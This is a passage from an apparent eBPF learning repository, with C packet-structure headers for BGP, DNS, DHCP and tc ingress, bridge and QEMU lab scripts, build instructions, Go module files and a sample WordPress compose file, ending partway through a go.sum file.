├── ebpf ├── tc_ingress │ ├── backends.h │ ├── tc.h │ └── tc.c ├── bgp │ ├── bgp.h │ └── bgp.c ├── dns │ ├── dns.h │ └── dns.c ├── dhcp │ ├── dhcp.h │ └── dhcp.c ├── pid │ └── pid.c └── http │ ├── http.c │ ├── http.c.backup │ └── http.c_backup2 ├── userland ├── go │ ├── dhcp │ │ ├── bridgedown.sh │ │ ├── qemu.sh │ │ ├── bridgeup.sh │ │ ├── go.mod │ │ ├── main.md │ │ ├── go.sum │ │ └── main.go │ ├── pid │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ ├── http │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ ├── dns │ │ ├── go.mod │ │ ├── main_test.go │ │ ├── go.sum │ │ └── main.go │ ├── tc_ingress │ │ ├── go.mod │ │ ├── README.md │ │ ├── main.go │ │ └── go.sum │ ├── mysql │ │ └── docker │ │ │ └── compose.yaml │ └── bgp │ │ ├── go.mod │ │ ├── main.go │ │ └── go.sum └── c │ └── tc_ingress │ ├── make.sh │ ├── README.md │ └── ux.c ├── README.md └── LICENSE /ebpf/tc_ingress/backends.h: -------------------------------------------------------------------------------- 1 | 2 | struct backends { 3 | __be32 backend1; 4 | __be32 backend2; 5 | __u16 destPort; 6 | }; 7 | -------------------------------------------------------------------------------- /userland/go/dhcp/bridgedown.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Deleting a network bridge" 4 | sudo ip link del dev virtbr0 5 | sudo ip link del dev tap0 6 | -------------------------------------------------------------------------------- /userland/go/dhcp/qemu.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Creating a qemu VM" 4 | sudo qemu-system-x86_64 --enable-kvm -m 2048 \ 5 | -nographic \ 6 | -net nic,macaddr="52:54:12:11:3c:c0" -net bridge,br=virtbr0 7 | -------------------------------------------------------------------------------- /userland/go/pid/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/userland/go/pid 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/cilium/ebpf v0.11.0 7 | github.com/sirupsen/logrus v1.9.3 8 | ) 9 | 10 | require ( 11 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 // indirect 12 | golang.org/x/sys v0.6.0 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /userland/go/http/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/userland/go/http 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/cilium/ebpf v0.11.0 7 | github.com/sirupsen/logrus v1.9.3 8 | github.com/vishvananda/netlink v1.1.0 9 | golang.org/x/sys v0.6.0 10 | ) 11 | 12 | require ( 13 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df // indirect 14 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 // indirect 15 | ) 16 | -------------------------------------------------------------------------------- /userland/go/dhcp/bridgeup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Starting a network bridge" 4 | 5 | sudo ip link add name virtbr0 type bridge 6 | sudo ip addr add 192.168.1.20/24 dev virtbr0 7 | sudo ip link set virtbr0 up 8 | sudo ip tuntap add tap0 mode tap 9 | sudo ip link set tap0 up 10 | sudo ip link set tap0 master virtbr0 11 | sudo ip link set dev tap0 promisc on 12 | echo "tap0 mac address = $(ip link show dev tap0 | grep link | awk ' { print $2 }')" 13 | 14 | -------------------------------------------------------------------------------- /userland/go/dhcp/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/userland/go/dhcp 2 | 3 | go 1.21.3 4 | 5 | require ( 6 | github.com/cilium/ebpf v0.12.3 7 | github.com/praserx/ipconv v1.2.1 8 | github.com/sirupsen/logrus v1.9.3 9 | github.com/vishvananda/netlink v1.1.0 10 | golang.org/x/sys v0.16.0 11 | ) 12 | 13 | require ( 14 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df // indirect 15 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /userland/go/dns/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/userland/go/dns 2 | 3 | go 1.21.3 4 | 5 | require ( 6 | github.com/sirupsen/logrus v1.9.3 7 | github.com/vishvananda/netlink v1.1.0 8 | golang.org/x/sys v0.16.0 9 | ) 10 | 11 | require ( 12 | github.com/cilium/ebpf v0.12.3 // indirect 13 | github.com/praserx/ipconv v1.2.1 // indirect 14 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df // indirect 15 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /userland/c/tc_ingress/make.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Generating vmlinux.h" 3 | bpftool btf dump file /sys/kernel/btf/vmlinux format c > ../../headers/vmlinux.h 4 | 5 | echo "Compiling eBPF code" 6 | clang -O2 -g -Wall -target bpf -D__TARGET_ARCH_x86 -c ../../../ebpf/tc_ingress/tc.c -o ./tc.o -v 7 | 8 | echo "Stripping eBPF code" 9 | llvm-strip -g tc.o 10 | 11 | echo "Generating skeletion headers" 12 | bpftool gen skeleton tc.o > tcSkeleton.h 13 | 14 | echo "Compiling UX code" 15 | cc -g -Wall -c ux.c -o ux.o 16 | 17 | echo "Compiling final binary" 18 | cc -g -Wall ./ux.o -lbpf -lelf -lz -static -o lb -v -------------------------------------------------------------------------------- /userland/go/tc_ingress/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/tc_with_go 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/PraserX/ipconv v1.2.0 7 | github.com/cilium/ebpf v0.11.0 8 | github.com/florianl/go-tc v0.4.2 9 | golang.org/x/sys v0.6.0 10 | ) 11 | 12 | require ( 13 | github.com/google/go-cmp v0.5.9 // indirect 14 | github.com/josharian/native v1.1.0 // indirect 15 | github.com/mdlayher/netlink v1.6.0 // indirect 16 | github.com/mdlayher/socket v0.1.1 // indirect 17 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 // indirect 18 | golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd // indirect 19 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect 20 | ) 21 | -------------------------------------------------------------------------------- /userland/go/dns/main_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | ) 7 | 8 | func TestConvertDomain(t *testing.T) { 9 | type args struct { 10 | name string 11 | } 12 | tests := []struct { 13 | name string 14 | args args 15 | want []byte 16 | }{ 17 | { 18 | name: "working 3 part", 19 | args: args{ 20 | name: "bbc.co.uk", 21 | }, 22 | want: []byte{03, 'b', 'b', 'c', 2, 'c', 'o', 2, 'u', 'k'}, 23 | }, 24 | } 25 | for _, tt := range tests { 26 | t.Run(tt.name, func(t *testing.T) { 27 | if got := ConvertDomain(tt.args.name); !reflect.DeepEqual(got, tt.want) { 28 | t.Errorf("ConvertDomain() = %v, want %v", got, tt.want) 29 | } 30 | }) 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /ebpf/bgp/bgp.h: -------------------------------------------------------------------------------- 1 | #include "../headers/vmlinux.h" 2 | 3 | #define BGP_OPEN 1 4 | #define BGP_UPDATE 2 5 | #define BGP_NOTIFICATION 3 6 | #define BGP_KEEPALIVE 4 7 | #define BGP_ROUTE_REFRESH 5 8 | 9 | struct bgp_message { 10 | __u8 marker[16]; 11 | __u16 length; 12 | __u8 type; 13 | }; 14 | 15 | struct bgp_open { 16 | __u8 version; 17 | __u16 myAS; 18 | __u16 holdTimer; 19 | __u32 identifier; 20 | }; 21 | struct nlri { 22 | __u8 prefixlen; 23 | __u32 prefix; 24 | }; 25 | 26 | typedef struct { 27 | __u8 prefixlen; 28 | __u32 prefix; 29 | } nlri_value; 30 | 31 | struct bgp_path_attributes { 32 | __u8 flags; 33 | __u8 type; 34 | __u8 len; 35 | }; 36 | 37 | struct bgp_path_origin { 38 | __u8 origin; 39 | }; 40 | 41 | struct bgp_path_as { 42 | __u8 type; 43 | __u8 lenth; 44 | __u32 as; 45 | }; 46 | 47 | struct bgp_path_hop { 48 | __u32 hop; 49 | }; -------------------------------------------------------------------------------- /userland/go/mysql/docker/compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | db: 3 | # We use a mariadb image which supports both amd64 & arm64 architecture 4 | image: mariadb:10.6.4-focal 5 | # If you really want to use MySQL, uncomment the following line 6 | #image: mysql:8.0.27 7 | command: '--default-authentication-plugin=mysql_native_password' 8 | volumes: 9 | - db_data:/var/lib/mysql 10 | restart: always 11 | environment: 12 | - MYSQL_ROOT_PASSWORD=somewordpress 13 | - MYSQL_DATABASE=wordpress 14 | - MYSQL_USER=wordpress 15 | - MYSQL_PASSWORD=wordpress 16 | expose: 17 | - 3306 18 | - 33060 19 | wordpress: 20 | image: wordpress:latest 21 | ports: 22 | - 80:80 23 | restart: always 24 | environment: 25 | - WORDPRESS_DB_HOST=db 26 | - WORDPRESS_DB_USER=wordpress 27 | - WORDPRESS_DB_PASSWORD=wordpress 28 | - WORDPRESS_DB_NAME=wordpress 29 | volumes: 30 | db_data: 31 | 32 | -------------------------------------------------------------------------------- /ebpf/dns/dns.h: -------------------------------------------------------------------------------- 1 | #include "../headers/vmlinux.h" 2 | 3 | #define MAX_DNS_NAME_LENGTH 256 4 | 5 | struct dns_hdr 6 | { 7 | uint16_t transaction_id; 8 | uint8_t rd : 1; //Recursion desired 9 | uint8_t tc : 1; //Truncated 10 | uint8_t aa : 1; //Authoritive answer 11 | uint8_t opcode : 4; //Opcode 12 | uint8_t qr : 1; //Query/response flag 13 | uint8_t rcode : 4; //Response code 14 | uint8_t cd : 1; //Checking disabled 15 | uint8_t ad : 1; //Authenticated data 16 | uint8_t z : 1; //Z reserved bit 17 | uint8_t ra : 1; //Recursion available 18 | uint16_t q_count; //Number of questions 19 | uint16_t ans_count; //Number of answer RRs 20 | uint16_t auth_count; //Number of authority RRs 21 | uint16_t add_count; //Number of resource RRs 22 | }; 23 | 24 | //Used as a generic DNS response 25 | struct dns_response { 26 | uint16_t query_pointer; 27 | uint16_t record_type; 28 | uint16_t class; 29 | uint32_t ttl; 30 | uint16_t data_length; 31 | } __attribute__((packed)); 32 | 33 | struct dns_query { 34 | uint16_t record_type; 35 | uint16_t class; 36 | char name[MAX_DNS_NAME_LENGTH]; 37 | }; -------------------------------------------------------------------------------- /ebpf/tc_ingress/tc.h: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | #include 3 | #include 4 | #include 5 | #include "backends.h" 6 | 7 | #define TC_ACT_OK 0 8 | #define ETH_P_IP 0x0800 /* Internet Protocol packet */ 9 | 10 | enum nf_nat_manip_type { 11 | NF_NAT_MANIP_SRC, 12 | NF_NAT_MANIP_DST 13 | }; 14 | 15 | struct { 16 | __uint(type, BPF_MAP_TYPE_HASH); 17 | __uint(max_entries, 1024); 18 | __type(key, __u16); 19 | __type(value, struct backends); 20 | } 21 | svc_map SEC(".maps"); 22 | 23 | struct bpf_ct_opts { 24 | __s32 netns_id; 25 | __s32 error; 26 | __u8 l4proto; 27 | __u8 dir; 28 | __u8 reserved[2]; 29 | }; 30 | 31 | // Define all of these, we use __ksym as these are defined in the kernel and the linker will work it all out 32 | struct nf_conn * bpf_skb_ct_alloc(struct __sk_buff * skb_ctx, struct bpf_sock_tuple * bpf_tuple, __u32 tuple__sz, struct bpf_ct_opts * opts, __u32 opts__sz) __ksym; 33 | struct nf_conn * bpf_skb_ct_lookup(struct __sk_buff * , struct bpf_sock_tuple * , __u32, struct bpf_ct_opts * , __u32) __ksym; 34 | struct nf_conn * bpf_ct_insert_entry(struct nf_conn * nfct_i) __ksym; 35 | int bpf_ct_set_nat_info(struct nf_conn * nfct, union nf_inet_addr * addr, int port, enum nf_nat_manip_type manip) __ksym; 36 | void bpf_ct_set_timeout(struct nf_conn * nfct, __u32 timeout) __ksym; 37 | int bpf_ct_set_status(const struct nf_conn * nfct, __u32 status) __ksym; 38 | void bpf_ct_release(struct nf_conn * ) __ksym; 39 | -------------------------------------------------------------------------------- /userland/go/dhcp/main.md: -------------------------------------------------------------------------------- 1 | # DHCP with eBPF 2 | 3 | This example requires a little bit more infrastructure in order to understand what is transpiring under the covers! So i've tried to make this as simple as possible, with some simple networking! 4 | 5 | ## Start a network bridge 6 | 7 | `./bridgeup.sh` 8 | 9 | This will create `virtbr0` that is a layer2 network bridge that doesn't have any interfaces attached or anything, its comparable to a simple layer 2 switch at this point. We will use this bridge to connect to with eBPF and we will also connect a VM to this bridge so that we can capture and modify the behaviour of the DHCP responses! 10 | 11 | 12 | We will create the directory for our bridge configuration `mkdir -p /etc/qemu/`. 13 | 14 | Then we will allow qemu to be allowed to use this bridge (well all bridges, the acl is a pain) `echo "allow all" | sudo tee /etc/qemu/bridge.conf`. 15 | 16 | ## Start everything (requires `tmux`) 17 | 18 | This will start a three panel tmux that has a VM on the bridge, a tcpdump on the bridge and our eBPF program on the bridge. 19 | 20 | ``` 21 | tmux new-session \; send-keys '\''go generate; go build; sudo ./dhcp -interface virtbr0 -mac 52:54:12:11:3c:c0 -address 10.0.0.1'\'' C-m \; split-window -v\; send-keys '\''sudo tcpdump -i virtbr0'\''\; split-window -v\; select-layout even-vertical 22 | ``` 23 | 24 | ## Exit from `qemu` 25 | 26 | To exit from qemu press `ctrl a` and then press `x` 27 | 28 | ## Tidy up 29 | 30 | `./bridgedown.sh` 31 | -------------------------------------------------------------------------------- /userland/go/tc_ingress/README.md: -------------------------------------------------------------------------------- 1 | ## Setting up your environment 2 | 3 | 1. Install Ubuntu (22.04) 4 | 2. Update the package lists 5 | 3. Install our 6.1 kernel `sudo apt install -y linux-image-6.1.0-1006-oem linux-headers-6.1.0-1006-oem linux-tools-6.1.0-1006-oem libbpf-dev` 6 | 4. Reboot ! 7 | 8 | ## Build out all the bits we need! 9 | 10 | `bpftool btf dump file /sys/kernel/btf/vmlinux format c > ../headers/vmlinux.h` - will generate the header with all the required functions in it! 11 | `go generate` - will generate all the stub code required for our go program to speak C 12 | 13 | ### What is `go generate` doing? 14 | 15 | If we actually look at the definition within `main.go`, we will find the following line: `//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" bpf -- -I../header`. This line will invocate a go program that will compile the c code and then use the tool `bpf2go` to create all of the required stubs for our Go code to work as expected! 16 | 17 | ### Creating our program! 18 | 19 | #### Generate the required code 20 | 21 | Running the command `go generate` will create all the required go/eBPF code! 22 | 23 | #### Create our userland code 24 | 25 | Build our code with the command `go build -o lb`. 26 | 27 | #### Running the program 28 | 29 | `sudo lb port backendPort`, will create a bpf program that will capture incoming traffic on `port` and then forward it to one of the `` listening on a `backendPort`. 30 | 31 | -------------------------------------------------------------------------------- /userland/go/bgp/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thebsdbox/learning-ebpf/userland/go/bgp 2 | 3 | go 1.21.3 4 | 5 | require ( 6 | github.com/cilium/ebpf v0.12.3 7 | github.com/kube-vip/kube-vip v0.6.4 8 | github.com/praserx/ipconv v1.2.1 9 | github.com/sirupsen/logrus v1.9.3 10 | github.com/vishvananda/netlink v1.2.1-beta.2 11 | golang.org/x/sys v0.16.0 12 | ) 13 | 14 | require ( 15 | github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13 // indirect 16 | github.com/eapache/channels v1.1.0 // indirect 17 | github.com/eapache/queue v1.1.0 // indirect 18 | github.com/fsnotify/fsnotify v1.6.0 // indirect 19 | github.com/golang/protobuf v1.5.3 // indirect 20 | github.com/google/uuid v1.3.1 // indirect 21 | github.com/hashicorp/hcl v1.0.0 // indirect 22 | github.com/k-sone/critbitgo v1.4.0 // indirect 23 | github.com/magiconair/properties v1.8.7 // indirect 24 | github.com/mitchellh/mapstructure v1.5.0 // indirect 25 | github.com/osrg/gobgp/v3 v3.19.0 // indirect 26 | github.com/pelletier/go-toml/v2 v2.0.8 // indirect 27 | github.com/spf13/afero v1.9.5 // indirect 28 | github.com/spf13/cast v1.5.1 // indirect 29 | github.com/spf13/jwalterweatherman v1.1.0 // indirect 30 | github.com/spf13/pflag v1.0.5 // indirect 31 | github.com/spf13/viper v1.16.0 // indirect 32 | github.com/subosito/gotenv v1.4.2 // indirect 33 | github.com/vishvananda/netns v0.0.4 // indirect 34 | golang.org/x/exp v0.0.0-20231005195138-3e424a577f31 // indirect 35 | golang.org/x/net v0.17.0 // indirect 36 | golang.org/x/text v0.13.0 // indirect 37 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 38 | google.golang.org/grpc v1.58.3 // indirect 39 | google.golang.org/protobuf v1.31.0 // indirect 40 | gopkg.in/ini.v1 v1.67.0 // indirect 41 | gopkg.in/yaml.v3 v3.0.1 // indirect 42 | ) 43 | -------------------------------------------------------------------------------- /userland/go/pid/go.sum: -------------------------------------------------------------------------------- 1 | github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y= 2 | github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 7 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 8 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 9 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 10 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 11 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 12 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 13 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 h1:Jvc7gsqn21cJHCmAWx0LiimpP18LZmUxkT5Mp7EZ1mI= 14 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= 15 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= 17 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 18 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 19 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 20 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 21 | -------------------------------------------------------------------------------- /ebpf/dhcp/dhcp.h: -------------------------------------------------------------------------------- 1 | #include "../headers/vmlinux.h" 2 | 3 | #define DHCP_BOOTREQUEST 1 4 | #define DHCP_BOOTREPLY 2 5 | 6 | #define DHCP_OPTION_MAGIC_NUMBER (0x63825363) 7 | 8 | typedef struct { 9 | __u32 address; 10 | __u8 dhcp_state; 11 | } dhcp_entry; 12 | 13 | // DHCP Message 14 | struct dhcp_message { 15 | u_char dp_op; /* packet opcode type */ 16 | u_char dp_htype; /* hardware addr type */ 17 | u_char dp_hlen; /* hardware addr length */ 18 | u_char dp_hops; /* gateway hops */ 19 | u_int32_t dp_xid; /* transaction ID */ 20 | u_int16_t dp_secs; /* seconds since boot began */ 21 | u_int16_t dp_flags; /* flags */ 22 | __u32 dp_ciaddr; /* client IP address */ 23 | __u32 dp_yiaddr; /* 'your' IP address */ 24 | __u32 dp_siaddr; /* server IP address */ 25 | __u32 dp_giaddr; /* gateway IP address */ 26 | u_char dp_chaddr[6]; /* client hardware address */ 27 | u_char dp_chaddr_padding[10]; /* client hardware address padding*/ 28 | u_char dp_sname[64]; /* server host name */ 29 | u_char dp_file[128]; /* boot file name */ 30 | __u32 magic; /* magic number */ 31 | } __attribute__((packed)); 32 | 33 | typedef struct { 34 | // option 53 35 | __u8 option_message_type; 36 | __u8 option_message_type_len; 37 | __u8 option_message_value; 38 | 39 | // option 1 40 | __u8 option_subnet_mask; 41 | __u8 option_subnet_mask_len; 42 | __u32 option_subnet_mask_value; 43 | 44 | // option 3 45 | __u8 option_router; 46 | __u8 option_router_len; 47 | __u32 option_router_value; 48 | 49 | // option 58 50 | __u8 option_renew_time; 51 | __u8 option_renew_time_len; 52 | __u32 option_renew_time_value; 53 | 54 | // option 59 55 | __u8 option_rebind_time; 56 | __u8 option_rebind_time_len; 57 | __u32 option_rebind_time_value; 58 | 59 | // option 51 60 | __u8 option_lease_time; 61 | __u8 option_lease_time_len; 62 | __u32 option_lease_time_value; 63 | 64 | // option 54 65 | __u8 option_dhcp_id; 66 | __u8 option_dhcp_id_len; 67 | __u32 option_dhcp_id_value; 68 | 69 | // end 70 | __u8 end; 71 | } dhcp_offer; 72 | 73 | // options 74 | 75 | typedef struct { 76 | __u8 code; 77 | __u8 length; 78 | } dhcp_option; 79 | -------------------------------------------------------------------------------- /userland/go/dhcp/go.sum: -------------------------------------------------------------------------------- 1 | github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4= 2 | github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 7 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 8 | github.com/praserx/ipconv v1.2.1 h1:MWGfrF+OZ0pqIuTlNlMgvJDDbohC3h751oN1+Ov3x4k= 9 | github.com/praserx/ipconv v1.2.1/go.mod h1:DSy+AKre/e3w/npsmUDMio+OR/a2rvmMdI7rerOIgqI= 10 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 11 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 12 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 13 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 14 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 15 | github.com/vishvananda/netlink v1.1.0 h1:1iyaYNBLmP6L0220aDnYQpo1QEV4t4hJ+xEEhhJH8j0= 16 | github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= 17 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df h1:OviZH7qLw/7ZovXvuNyL3XQl8UFofeikI1NW1Gypu7k= 18 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= 19 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 h1:Jvc7gsqn21cJHCmAWx0LiimpP18LZmUxkT5Mp7EZ1mI= 20 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= 21 | golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 22 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 23 | golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= 24 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 25 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 26 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 27 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 28 | -------------------------------------------------------------------------------- /userland/go/dns/go.sum: -------------------------------------------------------------------------------- 1 | github.com/cilium/ebpf v0.12.3 h1:8ht6F9MquybnY97at+VDZb3eQQr8ev79RueWeVaEcG4= 2 | github.com/cilium/ebpf v0.12.3/go.mod h1:TctK1ivibvI3znr66ljgi4hqOT8EYQjz1KWBfb1UVgM= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 7 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 8 | github.com/praserx/ipconv v1.2.1 h1:MWGfrF+OZ0pqIuTlNlMgvJDDbohC3h751oN1+Ov3x4k= 9 | github.com/praserx/ipconv v1.2.1/go.mod h1:DSy+AKre/e3w/npsmUDMio+OR/a2rvmMdI7rerOIgqI= 10 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 11 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 12 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 13 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 14 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 15 | github.com/vishvananda/netlink v1.1.0 h1:1iyaYNBLmP6L0220aDnYQpo1QEV4t4hJ+xEEhhJH8j0= 16 | github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= 17 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df h1:OviZH7qLw/7ZovXvuNyL3XQl8UFofeikI1NW1Gypu7k= 18 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= 19 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 h1:Jvc7gsqn21cJHCmAWx0LiimpP18LZmUxkT5Mp7EZ1mI= 20 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= 21 | golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 22 | golang.org/x/sys 